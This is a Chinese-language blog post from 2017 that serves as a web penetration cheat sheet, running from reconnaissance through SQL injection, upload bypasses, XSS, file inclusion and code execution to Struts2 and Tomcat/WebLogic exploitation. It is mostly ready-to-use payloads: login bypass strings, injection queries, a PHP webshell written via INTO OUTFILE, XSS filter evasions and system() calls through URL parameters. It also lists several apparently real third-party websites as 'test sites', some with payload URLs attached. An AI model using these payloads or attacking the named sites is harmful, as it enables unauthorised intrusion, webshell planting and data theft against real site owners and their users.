web渗透知识纵横

web漏洞汇总

Posted by volcanohatred on May 12, 2017

1.信息收集

1.1域名信息

获取ip信息:工具:ping得到ip,nslookup,站长工具。
查找子域名:子域名站一般防御较差,着重点。而且子域名一般是真实ip,谷歌语法获取子域名:inurl:xx.com。工具:layer子域名挖掘机,subdomainbrute。子域名所在服务器版本低的,与目标站点在同一c段或者同一服务器的站点,可以作为攻击目标。
查找whois(注册人)信息:工具:爱站,站长工具。反查:同一注册名注册的不同站,得到的信息可用于社工和密码猜解。

1.2目录信息

robots.txt:robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。通过robots.txt可以看到一些敏感目录。
备份文件:安装包,网站码源,数据库备份文件。扫目录有时可以扫出来,类似1.rar,xx.mdb等。
上传目录:fckeditor,ewebedit,ckfinder编辑器上传接口。
mysql管理接口:phpmyadmin(pmd,pma,phadmin.phpadmin)
安装页面:install.php.lock
根路径:报错显示,读配置文件:c:/windows/system32/inetsrv/metabase.xml
phpinfo:php信息
编辑器,iis短文件,后台目录。
工具:御剑(暴力破解) OWASP DirBuster(安全狗对百度,360爬虫加入白名单,可修改useragent绕过拦截)(暴力破解) awvs(爬虫),burpsuite(爬虫)

1.3旁站c段

工具:k8旁站工具,多平台旁站c段查询(推荐)

1.4整站分析

操作系统(linux,windows):大小写测试。当然也不一定。
容器(iis,apache,nginx,tomcat,jboss)::抓包分析,看响应头。
脚本格式(asp,aspx,php,jsp,py):看url,index.xx测试。
数据库类型(access,mssql,mysql,oracle,db2,postgresql):端口,报错信息。
防护情况(waf):and 1=1测试。
cms类型(dedecms,diguo,dz,meterinfo):云悉指纹识别。readme.txt,使用说明.txt,网页最下面。

1.5端口信息

常用端口:21,22,23,110(pop3),80,808X,1433,3306,1521,3389,9090(websphere)
端口只是参考!!基本上一些有点安全意识的管理员会改端口。
工具:portscan,scanport,Nmap

1.6谷歌语法

intext:查看内容关键字
intitle:查找某个标题
inurl:查找url中带某字段的网站
site:site:jp日本站
比如:织梦后台:intext:power by dedecms…

1.7CDN绕过

(对服务器进行爆破,或者以入侵服务器为目的时,注入则无需考虑)
检测:
爱站ping检测,站长之家也可以,查看是否有cdn
获取真实ip:
查看二级域名,一般主域名才会架设cdn
发送邮件(显示邮件信息)
敏感文件泄露(phpinfo)
查看历史解析(ip138)
网站提供的app抓包查看目标ip 绕过方法:修改hosts文件。

2.工具使用

3.WEB漏洞

3.1网站暴库漏洞

此类漏洞以access数据库居多,数据库文件形式:data.mdb
mssql,mysql则要找数据库链接文件(前提找到了数据库路径)
漏洞寻找:通过目录遍历和暴力猜解
两个暴库漏洞(针对access+iis,一般为asp):
::$data 在asp访问页面后加,会造成源代码泄露,从而导致数据库路径泄露。(很早之前的洞)
%5c和inc/conn.asp暴库 把要提交的网页url中的二级以上目录/换成%5c,然后提交就可以得到数据库地址
数据库防下载:

  1. #123.mdb 下载时对文件名进行url编码
  2. 有目录管理权限可以先改名,后下载

    3.2下载漏洞

    xx/down.asp?file=xx/xx/xx/ 
    

    改路径下载conn.asp,config.php等

    3.3网站后台弱口令

    爆破,cms默认口令
    常见后台路径
    万能密码 ‘or’a’=’a admin #
    测试站点:http://www.loverz.cn/admin.php
    爆破工具:带验证码 pkav http fuzzer 图形识别技术

    3.4特定cms漏洞

    通过信息收集拿到cms信息,百度相关cms漏洞,或者搭建平台自己挖掘漏洞。

    3.5注入漏洞

    3.5.1 布尔型盲注,get型注入

    手工注入就是执行sql语句
    access
    先判断数据库什么类型

    and (select count(*) from msysobject)>0 access
    and (select count(*) from sysobject)>0 mssql
    

    判断注入

    -0,and 1=1,and 1=2,/
    

    判断列名

    and exsits (select * from 表)> 0
    

    判断制定表列长度

    select * from 表 order by len
    

    联合查询

    union selsect 1,2......(len) from 表 选中列的数据类型不一致导致报错
    

    判断账户/密码长度

    and (select len(账户名/密码名) from admin)=len 
    

    通过asc判断(注:并不是所有的数据库系统都支持SELECT TOP子句。MySQL支持LIMIT子句来选择有限数量的记录,而Oracle使用ROWNUM)

    and (select top 1 asc(mid(admin,1,1)) from admin)>100 admin列第一行第一个字的ascii(sqlmap原理)
    

    测试站点: www.jnqtly.cn/cp11.asp?id=1129 www.fc1885.com/display1_new.asp?id=237 工具:阿d,sqlmap,pangolin 偏移注入(猜不到列名)
    用*代替向前逐个删除,直到不报错为止
    删除的个数为一个周期

    union select ........ * from admin
    union select ........ * from (admin as a inner join admin as b on a.id=b.id)
    union select ........ * from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
    

    跨库查询
    A,B站搭建在同一服务器,知道B的绝对路径,通过A来进行联合查询
    mssql
    数据库文件:mdf,日志文件:ldf。
    找数据库连接文件 一般在inc/conn.asp,dbconfig.asp,aspx(web.config)
    判断注入
    同access
    判断数据库版本

    and 1=(select @@version)  原理是类型不同导致报错 id=@@version
    

    判断当前数据库名称

    and 1=(select db_name)  id=db_name
    

    查看所有数据库

    and 1=(select name from master..sysdatabases for xml path)
    

    查看除系统数据库外的其他数据库

    and 1=(select top 1 name from master..sysdatabases where dbid>4) 
    

    获取表名

    and 1=(select top 1 name from sysobjects where xtype=’u’)
    

    获取列名

    and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name =’admin’) 
    

    查看值

    and 1=(select top 1 admin from admin) 
    

    基本信息收集
    权限判断

    and 1=(select is_srvrolemember(‘sysadmin’)) 
    

    服务名

    and 1=(select @@servername) 
    

    如果为sa权限,可以进行扩展存储注入攻击,写入一句话等。

测试站点:
http://testasp.vulnweb.com/showforum.asp?id=0
http://www.langesteel.com/onew11.asp?id=42574

工具:阿d,sqlmap,pangolin
mysql
一些常用函数

Database() 数据库名
Version() 数据库版本
Load_file() 读取本地文件
@@datadir  读取数据库路径
@@basedir   mysql安装路径
@@version_compile_os   操作系统
常用数据库连接文件:config.php db_config.php include/common.inc.php

单引号做过滤问题,16进制转化,16进制注入攻击

Mysql 4.0不支持手工注入
Mysql显错注入,针对单引号查询 -99999999999
后台绕过,万能密码,注入
添加提交”/*“,返回错误页面,说明数据库不是MySQL的。继续在注入点链接后添加”–“,显示正常页面,说明数据库可能为MSSQL和Oracle。再提交:
写入一句话:

Union select 1,”<?php eval($_GET[x];?>”,3 into outfile ‘c:/XX’,可以把系统命令放入bat开机自启
魔术引号与宽字节注入(Php 5.3.0以后废弃)

Sqlmap –tamper unmagicquotes.py 1.16进制转译,读的时候 %bf%27 测试站点:
www.kelichina.com
www.szxcc.com
其他数据库注入:
Oracle
dual
Order by 前提时支持联合查询
有注入的话联合查询

Union select null,null,null from dual,用’null’判断是否为字符,用数字判断是否为数字

Postgresql
判断是否为postgresql数据库

+and+1::int=1--(加号代表空格)

判断数据库版本

+and+1=cast(version() as int)--

判断字段

Order by

3.5.2 其他注入方式

post注入
注册用户
登陆账号,修改账户
留言
修改个人资料
上传资料
加单引号报错,抓包用sqlmap跑 %bf
sqlmap -u “xxx” -r 自动识别表单
Sqlmap -u “xxx” –form
表单里面可能存在注入[]
cookies注入
类似post,对代码级防御进行绕过,get不能注入的
sqlmap -u “xxx” –cookie “id=x”
手工注入:不推荐,太麻烦,直接sqlmap,或者穿山甲
汉字型注入
www.xxx.com/xx.asp?id=’你好’ and 1=1#’
搜索型注入
搜索框
测试站点:www.ptc-asia.com/cn/ci/?cid=62
伪静态注入
xxx.com/index.php/id/131.html
用工具跑的时候,对注入点强制加星 *
延迟注入
通过页面返回的时间来判断
and sleep(4) 延迟4秒
Base64编码注入
一些站点需要编码后才能识别
Sqlmap -u “xxx” –tamper=base64encode.py
二阶注入
一阶注入即平时所说的注入,二阶注入即恶意代码不立即执行,存储到后端数据库,在处理另一次不同请求时,代码被执行。比如:注册时构造恶意代码,注册完查看消息时爆出数据库数据。
Authkey注入 Phpcms v9 http头注入 抓包,可能存在的注入点: Referer: x-forward-for : User-agent client-ip: 双引号无法存在 awvs会自动监测 Xml实体注入 比较少见 注意闭合!!!! ‘)and 1=1#

3.5.3 app注入漏洞挖掘

基本走的http
使用Burpsuite进行抓包

3.6上传漏洞

3.6.1各容器漏洞

iis 5.x 6.x 解析漏洞

  1. 目录解析 创建目录
  2. 分号解析 xx.asp;.jpg
  3. 畸形文件名解析 xx.asa xx.cer xx.cdx Apache解析漏洞
    Apache从右到左判断解析,如果为不可识别解析,就从左往右 X.php. htaccess文件解析

iis 7.0/7.5 nginx<8.03畸形解析漏洞
iis php-»> xx.jpg/.php Asa cer可被解析为php, Nginx<8.03 xx.php%00.jpg 服务器命名规则:上传文件和服务器命名已知;不一致:时间戳,随机xx.asp;xx.jpg

3.6.2常见上传方式检测及突破:

  1. 本地javascript检测 比较少见,抓包,看是否走的网络,未发送。
    突破:编辑html,上传正常文件抓包,改包
  2. 服务端mime类型检测(检测content_type),抓包,修改content_type类型
  3. 服务端路径检测 什么都可以上传,但是上传的目录无法脚本执行 上传文件抓包改名:../xx.asp。修改上传路径,上传到上层,目录目录权限限制 4.服务端文件扩展名检测 黑名单检测;白名单检测(安全)
    文件名后缀大小写修改(Asp,PHp),畸形修改(asp.,php.),改为asa,cer
    00截断 xx.php%00.jpg.%00编码
    .htaccess文件攻击(一般无权限)
    配合解析漏洞
    双文件上传:抓包上传两个文件,第一个正常文件,第二个改后缀
    5.服务端文件内容检测 制作图片马,图片末尾检测,waf会识别
    二次渲染:上传不完整的图片让其渲染函数暴露,对文件加载器攻击
    其他:
    无上传按钮,可能是上传路径 编辑html
    <input type=”submit” value=”提交” name=”bb”>
    

    3.7目录遍历漏洞

    加变量&dir=../

3.8编辑器漏洞

1.百度,查看编辑器特有漏洞 2.上传点 查找编辑器路径 爬行,暴力破解
递归扫描,很多编辑器会放在管理员目录
查看图片上传目录
谷歌语法:site:xx.com inurl:editor

突破上传
上传点,创建目录。 xx.asp/xx.asp
思路要活。
在url中输入%00会自动截断
模糊测试 xx.asp.;.jpg 绕过asp;.jpg变asp_jpg

3.9XSS跨站

Cookies有时限性,打到的xss还会得到后台地址。
难点:挖掘,标签闭合,绕过

<script>alert(‘xss’)</script>

document对象 Js变量定义 var 变量 Js时间 onclick属性 点击事件

3.9.1xss分类

反射型xss 非持久型,点击一次执行一次,发送给受害者
Dom型xss
存储型xss
可能对web服务器的自身安全有威胁,注入到服务器

3.9.2xss挖掘

数据交互的地方,加代码
审查元素看是否需要闭合,有的标签不需要闭合,有的则要闭合
存在注入的地方都可能存在xss
手工挖掘与工具挖掘
用户输入搜索的地方,文件上传,flash等
标签中间,直接闭合,标签属性中

<div value=”123”><script>alert(/xss/)</script>”>

留言的地方
盲打cookies
注册:xss.fbisb.com创建模块。

绕过:
大小写混淆

<scRIPTt>alert(‘xss’)</script>

重叠

<scscriptt>alert(‘xss’)</script>

魔术引号 字符串转化
启用了httponly 伪造登陆界面,拿后台密码
标签插入字符: 换标签
工具:awvs

3.10Csrf漏洞

基本一般站点都存在,利用高权限做事,个人感觉没用

3.11其他漏洞

Php相关漏洞

文件包含漏洞
php很多,其他少
用途:利用包含绕过waf,留后门,读敏感文件(日志,配置文件,访问的url中加入一句话,再访问日志)
如何挖掘:www.xx.com/index.php?file=../../xx.php 包含jpg,以php代码运行了,如果不能执行,则显示内容。 其他情况:

<?php 
Include”$_GET(c).”.php”;
?>   加%00

看php源代码:

file=php://filter/read=convert.base64-encode/resource=xx.php

远程包含:allow_url_include=true
php输入输出流
Php://input插入一句话木马 用来接受post数据
代码执行漏洞
Php中可以执行代码的函数:eval(),exec(),system()(需要系统权限),等 Xx.com/a.php?a=system(ipconfig); a.php里是一句话 动态代码执行

<?php
$a=$_GET[‘a’];
$b=$_GET[‘b’];
$a($b);
?>

http://xx.com/x.php?a=system&b=ipconfig 练习站点:(海洋cms)
http://www.kudian365.com/search.php?
www.77dvd.com
www.bgdyhd.com(www.bgdyhd.com/search.php?searchtype=5&tid=&area=phpinfo())
https://www.piaohuatv.tv/search.php?searchtype=5&tid=&area=phpinfo()
变量覆盖漏洞

<?php
$auth=’0’;
Extract($_GET);
If($auth=’1’){
Echo “登陆成功”;
}else{
Echo “你还没登陆,请重新登陆”;
?>

改变auth的值,绕过认证

xx.com/a.php?auth=1

也可以二次安装

Jsp相关漏洞(权限相对较高)

Struts2漏洞
大型企业,等等
如何挖掘:后缀:.do,.action ;登陆,注册,留言的地方
Checklog.action xx.action
工具:k8 struts2 exp
测试站点:
http://oa.lzlqc.com/userLogin.action
Java反序列
工具:Java反序列化测试工具 Tomcat部署漏洞
Tomcat\conf\server.xml
有的管理员自己都没设置,所以最后没办法再测
如果能进入管理界面,上传文件war,部署
Weblogic攻击
Weblogic管理端口
http:7001,https:7002
Inurl:console
上传war包,部署,和tomcat相同
越权漏洞
水平越权
纵向越权
如何挖掘:数据交互的地方,用户操作的地方,参数可控制的地方。Burp抓包,改包 逻辑漏洞
密码找回,支付漏洞。验证码爆破
如何挖掘:数据交互的地方,用户操作的地方,参数可控制的地方
后台登陆验证,响应包改为true
Burp:do intercept->response to this request->forward
Burp抓包,改包
ssrf跨站
image=其他站点调用


>